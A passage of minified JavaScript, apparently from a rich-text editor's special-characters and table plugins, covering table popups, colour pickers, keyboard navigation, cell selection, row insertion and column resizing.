if(St.KEYCODE.ARROW_UP==i||St.KEYCODE.ARROW_DOWN==i||St.KEYCODE.ARROW_LEFT==i||St.KEYCODE.ARROW_RIGHT==i){if(t.is("span.fr-icon")){var f=t.parent().find("span.fr-icon");n=f.index(t);var p=s,u=Math.ceil(f.length/p),g=n%p,h=Math.floor(n/p),m=h*p+g,v=u*p;St.KEYCODE.ARROW_UP==i?m=((m-p)%v+v)%v:St.KEYCODE.ARROW_DOWN==i?m=(m+p)%v:St.KEYCODE.ARROW_LEFT==i?m=((m-1)%v+v)%v:St.KEYCODE.ARROW_RIGHT==i&&(m=(m+1)%v),r=_(f.get(m)),E.events.disableBlur(),r.focus(),a=!1}}else St.KEYCODE.ENTER==i&&(t.is("a")?t[0].click():E.button.exec(t),a=!1);return!1===a&&(e.preventDefault(),e.stopPropagation()),a},!0)}(t),t}()),!e.hasClass("fr-active")){E.popups.refresh("specialCharacters"),E.popups.setContainer("specialCharacters",E.$tb);var t=E.$tb.find('.fr-command[data-cmd="specialCharacters"]'),a=E.button.getPosition(t),n=a.left,r=a.top;E.popups.show("specialCharacters",n,r,outerHeight)}},back:function t(){E.popups.hide("specialCharacters"),E.toolbar.showInline()}}},St.DefineIcon("specialCharacters",{NAME:"dollar-sign",SVG_KEY:"symbols"}),St.RegisterCommand("specialCharacters",{title:"Special Characters",icon:"specialCharacters",undo:!1,focus:!1,popup:!0,refreshAfterCallback:!1,plugin:"specialCharacters",showOnMobile:!0,callback:function(){this.popups.isVisible("specialCharacters")?(this.$el.find(".fr-marker")&&(this.events.disableBlur(),this.selection.restore()),this.popups.hide("specialCharacters")):this.specialCharacters.showSpecialCharsPopup()}}),St.RegisterCommand("insertSpecialCharacter",{callback:function(e,t){this.undo.saveStep(),this.html.insert(t),this.undo.saveStep(),this.popups.hide("specialCharacters")}}),St.RegisterCommand("setSpecialCharacterCategory",{undo:!1,focus:!1,callback:function(e,t){this.specialCharacters.setSpecialCharacterCategory(t)}}),St.DefineIcon("specialCharBack",{NAME:"arrow-left",SVG_KEY:"back"}),St.RegisterCommand("specialCharBack",{title:"Back",undo:!1,focus:!1,back:!0,refreshAfterCallback:!1,callback:function(){this.specialCharacters.back()}}),Object.assign(St.POPUP_TEMPLATES,{"table.insert":"[_BUTTONS_][_ROWS_COLUMNS_]","table.edit":"[_BUTTONS_]","table.colors":"[_BUTTONS_][_COLORS_][_CUSTOM_COLOR_]"}),Object.assign(St.DEFAULTS,{tableInsertMaxSize:10,tableEditButtons:["tableHeader","tableFooter","tableRemove","tableRows","tableColumns","tableStyle","-","tableCells","tableCellBackground","tableCellVerticalAlign","tableCellHorizontalAlign","tableCellStyle"],tableInsertButtons:["tableBack","|"],tableResizer:!0,tableDefaultWidth:"100%",tableResizerOffset:5,tableResizingLimit:30,tableColorsButtons:["tableBack","|"],tableColors:["#61BD6D","#1ABC9C","#54ACD2","#2C82C9","#9365B8","#475577","#CCCCCC","#41A85F","#00A885","#3D8EB9","#2969B0","#553982","#28324E","#000000","#F7DA64","#FBA026","#EB6B56","#E25041","#A38F84","#EFEFEF","#FFFFFF","#FAC51C","#F37934","#D14841","#B8312F","#7C706B","#D1D5D8","REMOVE"],tableColorsStep:7,tableCellStyles:{"fr-highlighted":"Highlighted","fr-thick":"Thick"},tableStyles:{"fr-dashed-borders":"Dashed Borders","fr-alternate-rows":"Alternate Rows"},tableCellMultipleStyles:!0,tableMultipleStyles:!0,tableInsertHelper:!0,keepTextFormatOnTable:!1,tableInsertHelperOffset:15}),St.PLUGINS.table=function(C){var T,c,r,i,n,o,y,k=C.$;function h(){var e=S();if(e){var t=C.popups.get("table.edit");if(t||(t=p()),t){C.popups.setContainer("table.edit",C.$sc);var a=M(e),n=a.left+(a.right-a.left)/2,r=a.bottom;C.popups.show("table.edit",n,r,a.bottom-a.top,!0),C.edit.isDisabled()&&(C.$el.removeClass("fr-no-selection"),C.edit.on(),C.button.bulkRefresh(),C.selection.setAtEnd(C.$el.find(".fr-selected-cell").last().get(0)),C.selection.restore())}}}function s(){var e=S();if(e){var t=C.popups.get("table.colors");t||(t=function o(){var e="";0<C.opts.tableColorsButtons.length&&(e='<div class="fr-buttons fr-tabs">'.concat(C.button.buildList(C.opts.tableColorsButtons),"</div>"));var t="";C.opts.colorsHEXInput&&(t='<div class="fr-color-hex-layer fr-table-colors-hex-layer fr-active fr-layer" id="fr-table-colors-hex-layer-'.concat(C.id,'"><div class="fr-input-line"><input maxlength="7" id="fr-table-colors-hex-layer-text-').concat(C.id,'" type="text" placeholder="').concat(C.language.translate("HEX Color"),'" tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="tableCellBackgroundCustomColor" tabIndex="2" role="button">').concat(C.language.translate("OK"),"</button></div></div>"));var a={buttons:e,colors:function r(){for(var e='<div class="fr-color-set fr-table-colors">',t=0;t<C.opts.tableColors.length;t++)0!==t&&t%C.opts.tableColorsStep==0&&(e+="<br>"),"REMOVE"!=C.opts.tableColors[t]?e+='<span class="fr-command" style="background: '.concat(C.opts.tableColors[t],';" tabIndex="-1" role="button" data-cmd="tableCellBackgroundColor" data-param1="').concat(C.opts.tableColors[t],'"><span class="fr-sr-only">').concat(C.language.translate("Color")," ").concat(C.opts.tableColors[t]," </span></span>"):e+='<span class="fr-command" data-cmd="tableCellBackgroundColor" tabIndex="-1" role="button" data-param1="REMOVE" title="'.concat(C.language.translate("Clear Formatting"),'">').concat(C.icon.create("tableColorRemove"),'<span class="fr-sr-only">').concat(C.language.translate("Clear Formatting"),"</span></span>");return e+="</div>"}(),custom_color:t},n=C.popups.create("table.colors",a);return C.events.$on(C.$wp,"scroll.table-colors",function(){C.popups.isVisible("table.colors")&&s()}),function i(g){C.events.on("popup.tab",function(e){var t=k(e.currentTarget);if(!C.popups.isVisible("table.colors")||!t.is("span"))return!0;var a=e.which,n=!0;if(St.KEYCODE.TAB==a){var r=g.find(".fr-buttons");n=!C.accessibility.focusToolbar(r,!!e.shiftKey)}else if(St.KEYCODE.ARROW_UP==a||St.KEYCODE.ARROW_DOWN==a||St.KEYCODE.ARROW_LEFT==a||St.KEYCODE.ARROW_RIGHT==a){var i=t.parent().find("span.fr-command"),o=i.index(t),s=C.opts.colorsStep,l=Math.floor(i.length/s),c=o%s,d=Math.floor(o/s),f=d*s+c,p=l*s;St.KEYCODE.ARROW_UP==a?f=((f-s)%p+p)%p:St.KEYCODE.ARROW_DOWN==a?f=(f+s)%p:St.KEYCODE.ARROW_LEFT==a?f=((f-1)%p+p)%p:St.KEYCODE.ARROW_RIGHT==a&&(f=(f+1)%p);var u=k(i.get(f));C.events.disableBlur(),u.focus(),n=!1}else St.KEYCODE.ENTER==a&&(C.button.exec(t),n=!1);return!1===n&&(e.preventDefault(),e.stopPropagation()),n},!0)}(n),n}()),C.popups.setContainer("table.colors",C.$sc);var a=M(e),n=(a.left+a.right)/2,r=a.bottom;!function i(){var e=C.popups.get("table.colors"),t=C.$el.find(".fr-selected-cell").first(),a=C.helpers.RGBToHex(t.css("background-color")),n=e.find(".fr-table-colors-hex-layer input");e.find(".fr-selected-color").removeClass("fr-selected-color fr-active-item"),e.find('span[data-param1="'.concat(a,'"]')).addClass("fr-selected-color fr-active-item"),n.val(a).trigger("change")}(),C.popups.show("table.colors",n,r,a.bottom-a.top,!0)}}function l(){0===te().length&&C.toolbar.enable()}function d(e){if(e)return C.popups.onHide("table.insert",function(){C.popups.get("table.insert").find('.fr-table-size .fr-select-table-size > span[data-row="1"][data-col="1"]').trigger("mouseover")}),!0;var t="";0<C.opts.tableInsertButtons.length&&(t='<div class="fr-buttons fr-tabs">'.concat(C.button.buildList(C.opts.tableInsertButtons),"</div>"));var a={buttons:t,rows_columns:function i(){for(var e='<div class="fr-table-size"><div class="fr-table-size-info">1 × 1</div><div class="fr-select-table-size">',t=1;t<=C.opts.tableInsertMaxSize;t++){for(var a=1;a<=C.opts.tableInsertMaxSize;a++){var n="inline-block";2<t&&!C.helpers.isMobile()&&(n="none");var r="fr-table-cell ";1==t&&1==a&&(r+=" hover"),e+='<span class="fr-command '.concat(r,'" tabIndex="-1" data-cmd="tableInsert" data-row="').concat(t,'" data-col="').concat(a,'" data-param1="').concat(t,'" data-param2="').concat(a,'" style="display: ').concat(n,';" role="button"><span></span><span class="fr-sr-only">').concat(t," × ").concat(a," </span></span>")}e+='<div class="new-line"></div>'}return e+="</div></div>"}()},n=C.popups.create("table.insert",a);return C.events.$on(n,"mouseover",".fr-table-size .fr-select-table-size .fr-table-cell",function(e){f(k(e.currentTarget))},!0),function r(e){C.events.$on(e,"focus","[tabIndex]",function(e){var t=k(e.currentTarget);f(t)}),C.events.on("popup.tab",function(e){var t=k(e.currentTarget);if(!C.popups.isVisible("table.insert")||!t.is("span, a"))return!0;var a,n=e.which;if(St.KEYCODE.ARROW_UP==n||St.KEYCODE.ARROW_DOWN==n||St.KEYCODE.ARROW_LEFT==n||St.KEYCODE.ARROW_RIGHT==n){if(t.is("span.fr-table-cell")){var r=t.parent().find("span.fr-table-cell"),i=r.index(t),o=C.opts.tableInsertMaxSize,s=i%o,l=Math.floor(i/o);St.KEYCODE.ARROW_UP==n?l=Math.max(0,l-1):St.KEYCODE.ARROW_DOWN==n?l=Math.min(C.opts.tableInsertMaxSize-1,l+1):St.KEYCODE.ARROW_LEFT==n?s=Math.max(0,s-1):St.KEYCODE.ARROW_RIGHT==n&&(s=Math.min(C.opts.tableInsertMaxSize-1,s+1));var c=l*o+s,d=k(r.get(c));f(d),C.events.disableBlur(),d.focus(),a=!1}}else St.KEYCODE.ENTER==n&&(C.button.exec(t),a=!1);return!1===a&&(e.preventDefault(),e.stopPropagation()),a},!0)}(n),n}function f(e){var t=e.data("row");null!==t&&(t=parseInt(t));var a=e.data("col");null!==a&&(a=parseInt(a));var n=e.parent();n.siblings(".fr-table-size-info").html("".concat(t," × ").concat(a)),n.find("> span").removeClass("hover fr-active-item");for(var r=1;r<=C.opts.tableInsertMaxSize;r++)for(var i=0;i<=C.opts.tableInsertMaxSize;i++){var o=n.find('> span[data-row="'.concat(r,'"][data-col="').concat(i,'"]'));r<=t&&i<=a?o.addClass("hover"):r<=t+1||r<=2&&!C.helpers.isMobile()?o.css("display","inline-block"):2<r&&!C.helpers.isMobile()&&o.css("display","none")}e.addClass("fr-active-item")}function p(e){if(e)return C.popups.onHide("table.edit",l),!0;if(0<C.opts.tableEditButtons.length){var t={buttons:'<div class="fr-buttons">'.concat(C.button.buildList(C.opts.tableEditButtons),"</div>")},a=C.popups.create("table.edit",t);return C.events.$on(C.$wp,"scroll.table-edit",function(){C.popups.isVisible("table.edit")&&h()}),a}return!1}function m(e){var t={startTag:"",closeTag:""};return C.opts.keepTextFormatOnTable&&(t=u(function s(e){var t=new Set,a=e.textContent,n=0,r=[e.firstChild];for(;0<r.length;){var i=r.pop();if(i&&(t.has(i)||(0===n&&a!==i.textContent&&(a=i.textContent,n++),t.add(i)),i.hasChildNodes()))for(var o=0;o<i.childNodes.length;){if(3===i.childNodes[o].nodeType)return ye(t);if(i.childNodes[o].textContent){if(0===n&&i.childNodes[o].textContent!==a){a=i.childNodes[o].textContent,r.push(i.childNodes[o]),n++;break}i.childNodes[o].textContent===a&&r.push(i.childNodes[o])}o++}}return ye(t)}(e).reverse())),{startTag:t.startTag,closeTag:t.closeTag}}function u(e){var t="",a="",n=["br","#text","#comment","font"];if(0<e.length)for(var r=e.length-1;0<=r;r--){var i=e[r],o=C.node.isBlock(i),s=n.indexOf(i.nodeName.toLowerCase());if(!o&&s<0){var l=i.style,c="";if(l&&l.length){for(var d=0;d<l.length;d++)c+=l[d]+": "+l[l[d]].replace(/"/gi,"")+"; ";c=c.trim()}t+=c?"<"+i.nodeName.toLowerCase()+' style="'+c+'">':"<"+i.nodeName.toLowerCase()+">",a="</"+i.nodeName.toLowerCase()+">"+a}}return{startTag:t,closeTag:a}}function g(){if(0<te().length){var e=ae();C.selection.setBefore(e.get(0))||C.selection.setAfter(e.get(0)),C.selection.restore(),C.popups.hide("table.edit"),C.opts.trackChangesEnabled?(C.track_changes.removedTable(e),I()):e.remove(),C.toolbar.enable()}}function v(e){var t=ae();if(0<t.length){if(0<C.$el.find("thead .fr-selected-cell").length&&"above"==e||0<C.$el.find("tfoot td.fr-selected-cell").length&&"below"==e)return;var a,n,r,i=S(),o=F(i);if(null==o)return;n="above"==e?o.min_i:o.max_i;var s="<tr>";for(a=0;a<i[n].length;a++)if("below"==e&&n<i.length-1&&i[n][a]==i[n+1][a]||"above"==e&&0<n&&i[n][a]==i[n-1][a]){if(0===a||0<a&&i[n][a]!=i[n][a-1]){var l=k(i[n][a]);l.attr("rowspan",parseInt(l.attr("rowspan"),10)+1)}}else{var c=k(i[n][a]);if("TH"==c.attr("tagName").toUpperCase())s+='<th style="'+c.attr("style")+'" ><br></th>';else{var d=m(i[n][a]);s+='<td style="'+c.attr("style")+'" >'+d.startTag+"<br>"+d.closeTag+"</td>"}}s+="</tr>",r=0<C.$el.find("thead .fr-selected-cell").length&&"below"==e||0<C.$el.find("tfoot td.fr-selected-cell").length&&"above"==e?k(t.find("tbody").not(t.find("> table tbody"))):k(t.find("tr").not(t.find("> table tr")).get(n)),"below"==e?"TBODY"==r.attr("tagName")?r.prepend(s):r[0].parentNode&&r[0].insertAdjacentHTML("afterend",s):"above"==e&&("TBODY"==r.attr("tagName")?r.append(s):r.before(s),C.popups.isVisible("table.edit")&&h())}}function b(e,t,a){var n,r,i,o,s,l=0,c=S(a);if(e<(t=Math.min(t,c[0].length-1)))for(r=e;r<=t;r++)if(!(e<r&&c[0][r]==c[0][r-1])&&1<(o=Math.min(parseInt(c[0][r].getAttribute("colspan"),10)||1,t-e+1))&&c[0][r]==c[0][r+1])for(l=o-1,n=1;n<c.length;n++)if(c[n][r]!=c[n-1][r]){for(i=r;i<r+o;i++)if(c[n][i]!==undefined)if(1<(s=parseInt(c[n][i].getAttribute("colspan"),10)||1)&&c[n][i]==c[n][i+1])i+=l=Math.min(l,s-1);else if(!(l=Math.max(0,l-1)))break;if(!l)break}l&&_(c,l,"colspan",0,c.length-1,e,t)}function E(e,t,a){var n,r,i,o,s,l=0,c=S(a);if(e<(t=Math.min(t,c.length-1)))for(n=e;n<=t;n++)if(!(e<n&&c[n][0]==c[n-1][0])&&c[n][0]!==undefined&&1<(o=Math.min(parseInt(c[n][0].getAttribute("rowspan"),10)||1,t-e+1))&&c[n][0]==c[n+1][0])for(l=o-1,r=1;r<c[0].length;r++)if(c[n][r]!=c[n][r-1]){for(i=n;i<n+o;i++)if(c[i][r]!==undefined)if(1<(s=parseInt(c[i][r].getAttribute("rowspan"),10)||1)&&c[i][r]==c[i+1][r])i+=l=Math.min(l,s-1);else if(!(l=Math.max(0,l-1)))break;if(!l)break}l&&_(c,l,"rowspan",e,t,0,c[0].length-1)}function _(e,t,a,n,r,i,o){var s,l,c;for(s=n;s<=r;s++)for(l=i;l<=o;l++)n<s&&e[s][l]==e[s-1][l]||i<l&&e[s][l]==e[s][l-1]||e[s][l]!==undefined&&1<(c=parseInt(e[s][l].getAttribute(a),10)||1)&&(1<c-t?e[s][l].setAttribute(a,c-t):e[s][l].removeAttribute(a))}function w(e,t,a,n,r){E(e,t,r),b(a,n,r)}function t(e){var t=C.$el.find(".fr-selected-cell");"REMOVE"!=e?t.css("background-color",C.helpers.HEXtoRGB(e)):t.css("background-color",""),h()}function A(e){e.style.removeProperty("border"),e.style.removeProperty("border-top"),e.style.removeProperty("border-bottom"),e.style.removeProperty("border-left"),e.style.removeProperty("border-right")}function S(e){var c=[];if(null==(e=e||null)&&0<te().length&&(e=ae()),e){if(!e.find("tr").html().match(/xl[0-9]+/gi))for(var t=e.find("tr:empty"),a=t.length-1;0<=a;a--)k(t[a]).remove();e.find("tr").not(e.find("> table tr")).each(function(s,e){var t=k(e),l=0;t.find("> th, > td").each(function(e,t){for(var a=k(t),n=parseInt(a.attr("colspan"),10)||1,r=parseInt(a.attr("rowspan"),10)||1,i=s;i<s+r;i++)for(var o=l;o<l+n;o++)c[i]||(c[i]=[]),c[i][o]?l++:c[i][o]=t;l+=n})})}return c}function R(e,t){for(var a=0;a<t.length;a++)for(var n=0;n<t[a].length;n++)if(t[a][n]==e)return{row:a,col:n}}function L(e,t,a){for(var n=e+1,r=t+1;n<a.length;){if(a[n][t]!=a[e][t]){n--;break}n++}for(n==a.length&&n--;r<a[e].length;){if(a[e][r]!=a[e][t]){r--;break}r++}return r==a[e].length&&r--,{row:n,col:r}}function x(){C.el.querySelector(".fr-cell-fixed")&&C.el.querySelector(".fr-cell-fixed").classList.remove("fr-cell-fixed"),C.el.querySelector(".fr-cell-handler")&&C.el.querySelector(".fr-cell-handler").classList.remove("fr-cell-handler")}function I(){var e=C.$el.find(".fr-selected-cell");0<e.length&&e.each(function(){var e=k(this);e.removeClass("fr-selected-cell"),""===e.attr("class")&&e.removeAttr("class")}),x()}function O(){C.events.disableBlur(),C.selection.clear(),C.$el.addClass("fr-no-selection"),C.$el.blur(),C.events.enableBlur()}function F(e){var t=C.$el.find(".fr-selected-cell");if(0<t.length){var a,n=e.length,r=0,i=e[0].length,o=0;for(a=0;a<t.length;a++){var s=R(t[a],e),l=L(s.row,s.col,e);n=Math.min(s.row,n),r=Math.max(l.row,r),i=Math.min(s.col,i),o=Math.max(l.col,o)}return{min_i:n,max_i:r,min_j:i,max_j:o}}return null}function M(e){var t=F(e);if(null!=t){var a=k(e[t.min_i][t.min_j]),n=k(e[t.min_i][t.max_j]),r=k(e[t.max_i][t.min_j]);return{left:a.length&&a.offset().left,right:n.length&&n.offset().left+n.outerWidth(),top:a.length&&a.offset().top,bottom:r.length&&r.offset().top+r.outerHeight()}}}function D(e,t){if(k(e).is(t))I(),k(e).addClass("fr-selected-cell");else{O(),C.edit.off();var a=S(),n=R(e,a),r=R(t,a);if(!n||!r)return;var i=function u(e,t,a,n,r){var i,o,s,l,c=e,d=t,f=a,p=n;for(i=c;i<=d;i++)(1<(parseInt(k(r[i][f]).attr("rowspan"),10)||1)||1<(parseInt(k(r[i][f]).attr("colspan"),10)||1))&&(l=L((s=R(r[i][f],r)).row,s.col,r),c=Math.min(s.row,c),d=Math.max(l.row,d),f=Math.min(s.col,f),p=Math.max(l.col,p)),(1<(parseInt(k(r[i][p]).attr("rowspan"),10)||1)||1<(parseInt(k(r[i][p]).attr("colspan"),10)||1))&&(l=L((s=R(r[i][p],r)).row,s.col,r),c=Math.min(s.row,c),d=Math.max(l.row,d),f=Math.min(s.col,f),p=Math.max(l.col,p));for(o=f;o<=p;o++)(1<(parseInt(k(r[c][o]).attr("rowspan"),10)||1)||1<(parseInt(k(r[c][o]).attr("colspan"),10)||1))&&(l=L((s=R(r[c][o],r)).row,s.col,r),c=Math.min(s.row,c),d=Math.max(l.row,d),f=Math.min(s.col,f),p=Math.max(l.col,p)),(1<(parseInt(k(r[d][o]).attr("rowspan"),10)||1)||1<(parseInt(k(r[d][o]).attr("colspan"),10)||1))&&(l=L((s=R(r[d][o],r)).row,s.col,r),c=Math.min(s.row,c),d=Math.max(l.row,d),f=Math.min(s.col,f),p=Math.max(l.col,p));return c==e&&d==t&&f==a&&p==n?{min_i:e,max_i:t,min_j:a,max_j:n}:u(c,d,f,p,r)}(Math.min(n.row,r.row),Math.max(n.row,r.row),Math.min(n.col,r.col),Math.max(n.col,r.col),a);I(),e.classList.add("fr-cell-fixed"),t.classList.add("fr-cell-handler");for(var o=i.min_i;o<=i.max_i;o++)for(var s=i.min_j;s<=i.max_j;s++)k(e).closest("table").is(k(a[o][s]).closest("table"))&&k(a[o][s]).addClass("fr-selected-cell")}}function N(e){var t=null,a=k(e.target);return"TD"==e.target.tagName||"TH"==e.target.tagName?t=e.target:0<a.closest("th",a.closest("thead")[0]).length?t=a.closest("th",a.closest("thead")[0]).get(0):0<a.closest("td",a.closest("tr")[0]).length&&(t=a.closest("td",a.closest("tr")[0]).get(0)),-1===C.$el.html.toString().search(t)?null:t}function P(){I(),C.popups.hide("table.edit")}function e(e){var t=N(e);if("false"==k(t).parents("[contenteditable]").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;if(0<te().length&&!t&&P(),!C.edit.isDisabled()||C.popups.isVisible("table.edit"))if(1!=e.which||1==e.which&&C.helpers.isMac()&&e.ctrlKey)(3==e.which||1==e.which&&C.helpers.isMac()&&e.ctrlKey)&&t&&P();else if(i=!0,t){0<te().length&&!e.shiftKey&&P(),e.stopPropagation(),C.events.trigger("image.hideResizer"),C.events.trigger("video.hideResizer"),r=!0;var a=t.tagName.toLowerCase();e.shiftKey&&0<C.$el.find("".concat(a,".fr-selected-cell")).length?k(C.$el.find("".concat(a,".fr-selected-cell")).closest("table")).is(k(t).closest("table"))?D(n,t):O():((C.keys.ctrlKey(e)||e.shiftKey)&&"TD"===e.currentTarget.tagName&&(1<te().length||0===k(t).find(C.selection.element()).length&&!k(t).is(C.selection.element()))&&O(),n=t,0<C.opts.tableEditButtons.length&&D(n,n))}}function a(e){if(!C.edit.isDisabled()&&C.popups.areVisible())return!0;var t=N(e);if(1===te().length&&null===t&&(C.toolbar.enable(),I()),(1===te().length&&t&&"TD"!==t.tagName&&"TH"!==t.tagName||!r&&!C.$tb.is(e.target)&&!C.$tb.is(k(e.target).closest(".fr-toolbar")))&&(C.toolbar.enable(),I()),("BODY"===e.target.tagName||"HTML"===e.target.tagName)&&!t&&0<te().length&&C.toolbar.enable(),!(1!=e.which||1==e.which&&C.helpers.isMac()&&e.ctrlKey)){if(i=!1,r)r=!1,N(e)||1!=te().length?0<te().length?C.selection.isCollapsed()?(h(),C.toolbar.enable()):(I(),C.edit.on()):te().length||(C.$el.removeClass("fr-no-selection"),C.edit.on()):I();if(y){y=!1,T.removeClass("fr-moving"),C.$el.removeClass("fr-no-selection"),C.edit.on();var a=parseFloat(T.css("left"))+C.opts.tableResizerOffset+C.$wp.offset().left;C.opts.iframe&&(a-=C.$iframe.offset().left),T.data("release-position",a),T.removeData("max-left"),T.removeData("max-right"),function A(){var e=T.data("origin"),t=T.data("release-position");if(e!==t){var a=T.data("first"),n=T.data("second"),r=T.data("table"),i=r.outerWidth();if(C.undo.canDo()||C.undo.saveStep(),null!=a&&null!=n){var o,s,l,c=S(r),d=[],f=[],p=[],u=[];for(o=0;o<c.length;o++)s=k(c[o][a]),l=k(c[o][n]),d[o]=s.outerWidth(),p[o]=l.outerWidth(),f[o]=d[o]/i*100,u[o]=p[o]/i*100;for(o=0;o<c.length;o++)if(s=k(c[o][a]),l=k(c[o][n]),c[o][a]!=c[o][n]){var g=(f[o]*(d[o]+t-e)/d[o]).toFixed(4);s.css("width",g+"%"),l.css("width",(f[o]+u[o]-g).toFixed(4)+"%")}}else{var h,m=r.parent(),v=parseFloat(m.css("padding-left")),b=parseFloat(m.css("padding-right")),E=v+b,_=i/(m.width()-E)*100,w=(parseInt(r.css("margin-left"),10)||0)/m.width()*100,y=(parseInt(r.css("margin-right"),10)||0)/m.width()*100;"rtl"==C.opts.direction&&0===n||"rtl"!=C.opts.direction&&0!==n?(h=(i+t-e)/i*_,r.css("margin-right","calc(100% - ".concat(Math.round(h).toFixed(4),"% - ").concat(Math.round(w).toFixed(4),"%)"))):("rtl"==C.opts.direction&&0!==n||"rtl"!=C.opts.direction&&0===n)&&(h=(i-t+e)/i*_,r.css("margin-left","calc(100% - ".concat(Math.round(h).toFixed(4),"% - ").concat(Math.round(y).toFixed(4),"%)"))),r.css("width","".concat(Math.round(h).toFixed(4),"%"))}C.selection.restore(),C.undo.saveStep(),C.events.trigger("table.resized",[r.get(0)])}T.removeData("origin"),T.removeData("release-position"),T.removeData("first"),T.removeData("second"),T.removeData("table")}(),z()}}}function B(e){if((!(k(e.currentTarget).is(k(e.originalEvent.relatedTarget))||e.currentTarget.contains(e.originalEvent.relatedTarget)||e.originalEvent.relatedTarget&&e.originalEvent.relatedTarget.contains(e.currentTarget))||e.currentTarget.querySelector("input, textarea"))&&(C.events.$on(k("input, textarea"),"click",ne),!0===r&&0<C.opts.tableEditButtons.length)){if(k(e.currentTarget).closest("table").is(ae())){if("TBODY"===e.currentTarget.parentElement.parentElement.tagName&&"TD"==e.currentTarget.tagName&&0===C.$el.find("th.fr-selected-cell").length&&0===C.$el.find("tfoot td.fr-selected-cell").length)return void D(n,e.currentTarget);if("TFOOT"===e.currentTarget.parentElement.parentElement.tagName&&"TD"==e.currentTarget.tagName&&0===C.$el.find("tbody td.fr-selected-cell").length)return void D(n,e.currentTarget);if("TH"==e.currentTarget.tagName&&0===C.$el.find("td.fr-selected-cell").length)return void D(n,e.currentTarget)}"TD"!==e.currentTarget.tagName&&"TH"!==e.currentTarget.tagName&&O()}}function U(e,t,a,n){for(var r,i=t;i!=C.el&&"TD"!=i.tagName&&"TH"!=i.tagName&&("up"==n?r=i.previousElementSibling:"down"==n&&(r=i.nextElementSibling),!r);)i=i.parentNode;"TD"==i.tagName||"TH"==i.tagName?function o(e,t){for(var a=e;a&&"TABLE"!=a.tagName&&a.parentNode!=C.el;)a=a.parentNode;if(a&&"TABLE"==a.tagName){var n=S(k(a));"up"==t?H(R(e,n),a,n):"down"==t&&$(R(e,n),a,n)}}(i,n):r&&("up"==n&&C.selection.setAtEnd(r),"down"==n&&C.selection.setAtStart(r))}function H(e,t,a){0<k(".tribute-container").length&&"none"!=k(".tribute-container").css("display")||(0<e.row?C.selection.setAtEnd(a[e.row-1][e.col]):U(0,t,0,"up"))}function $(e,t,a){if(!(0<k(".tribute-container").length&&"none"!=k(".tribute-container").css("display"))){var n=parseInt(a[e.row][e.col].getAttribute("rowspan"),10)||1;e.row<a.length-n?C.selection.setAtStart(a[e.row+n][e.col]):U(0,t,0,"down")}}function z(){T&&(T.find("div").css("opacity",0),T.css("top",0),T.css("left",0),T.css("height",0),T.find("div").css("height",0),T.hide())}function K(){c&&c.removeClass("fr-visible").css("left","-9999px")}function W(e,t){var a,n=k(t);n&&(a=n.closest("table"));var r=a.parent();if(t&&"TD"!=t.tagName&&"TH"!=t.tagName&&(0<n.closest("td").length?t=n.closest("td"):0<n.closest("th").length&&(t=n.closest("th"))),!t||"TD"!=t.tagName&&"TH"!=t.tagName)T&&n.get(0)!=T.get(0)&&n.parent().get(0)!=T.get(0)&&C.core.sameInstance(T)&&z();else{if(n=k(t),0===C.$el.find(n).length)return!1;var i=n.offset().left-1,o=i+n.outerWidth();if(Math.abs(e.pageX-i)<=C.opts.tableResizerOffset||Math.abs(o-e.pageX)<=C.opts.tableResizerOffset){var s,l,c,d,f,p=S(a),u=R(t,p),g=L(u.row,u.col,p),h=a.offset().top,m=a.outerHeight()-1;"rtl"!=C.opts.direction?e.pageX-i<=C.opts.tableResizerOffset?(c=i,0<u.col?(d=i-q(u.col-1,p)+C.opts.tableResizingLimit,f=i+q(u.col,p)-C.opts.tableResizingLimit,s=u.col-1,l=u.col):(s=null,l=0,d=a.offset().left-1-parseInt(a.css("margin-left"),10),f=a.offset().left-1+a.width()-p[0].length*C.opts.tableResizingLimit)):o-e.pageX<=C.opts.tableResizerOffset&&(c=o,g.col<p[g.row].length&&p[g.row][g.col+1]?(d=o-q(g.col,p)+C.opts.tableResizingLimit,f=o+q(g.col+1,p)-C.opts.tableResizingLimit,s=g.col,l=g.col+1):(s=g.col,l=null,d=a.offset().left-1+p[0].length*C.opts.tableResizingLimit,f=r.offset().left-1+r.width()+parseFloat(r.css("padding-left")))):o-e.pageX<=C.opts.tableResizerOffset?(c=o,0<u.col?(d=o-q(u.col,p)+C.opts.tableResizingLimit,f=o+q(u.col-1,p)-C.opts.tableResizingLimit,s=u.col,l=u.col-1):(s=null,l=0,d=a.offset().left+p[0].length*C.opts.tableResizingLimit,f=r.offset().left-1+r.width()+parseFloat(r.css("padding-left")))):e.pageX-i<=C.opts.tableResizerOffset&&(c=i,g.col<p[g.row].length&&p[g.row][g.col+1]?(d=i-q(g.col+1,p)+C.opts.tableResizingLimit,f=i+q(g.col,p)-C.opts.tableResizingLimit,s=g.col+1,l=g.col):(s=g.col,l=null,d=r.offset().left+parseFloat(r.css("padding-left")),f=a.offset().left-1+a.width()-p[0].length*C.opts.tableResizingLimit)),T||function w(){C.shared.$table_resizer||(C.shared.$table_resizer=k(document.createElement("div")).attr("class","fr-table-resizer").html("<div></div>")),T=C.shared.$table_resizer,C.events.$on(T,"mousedown",function(e){return!C.core.sameInstance(T)||(0<te().length&&P(),1==e.which?(C.selection.save(),y=!0,T.addClass("fr-moving"),O(),C.edit.off(),T.find("div").css("opacity",1),!1):void 0)}),C.events.$on(T,"mousemove",function(e){if(!C.core.sameInstance(T))return!0;y&&(C.opts.iframe&&(e.pageX-=C.$iframe.offset().left),Z(e))}),C.events.on("shared.destroy",function(){T.html("").removeData().remove(),T=null},!0),C.events.on("destroy",function(){C.$el.find(".fr-selected-cell").removeClass("fr-selected-cell"),k("body").first().append(T.hide())},!0)}(),T.data("table",a),T.data("first",s),T.data("second",l),T.data("instance",C),C.$wp.append(T);var v=c-C.win.pageXOffset-C.opts.tableResizerOffset-C.$wp.offset().left,b=h-C.$wp.offset().top+C.$wp.scrollTop();if(C.opts.iframe){var E=C.helpers.getPX(C.$wp.find(".fr-iframe").css("padding-top")),_=C.helpers.getPX(C.$wp.find(".fr-iframe").css("padding-left"));v+=C.$iframe.offset().left+_,b+=C.$iframe.offset().top+E,d+=C.$iframe.offset().left,f+=C.$iframe.offset().left}T.data("max-left",d),T.data("max-right",f),T.data("origin",c-C.win.pageXOffset),T.css("top",b),T.css("left",v),T.css("height",m),T.find("div").css("height",m),T.css("padding-left",C.opts.tableResizerOffset),T.css("padding-right",C.opts.tableResizerOffset),T.show()}else 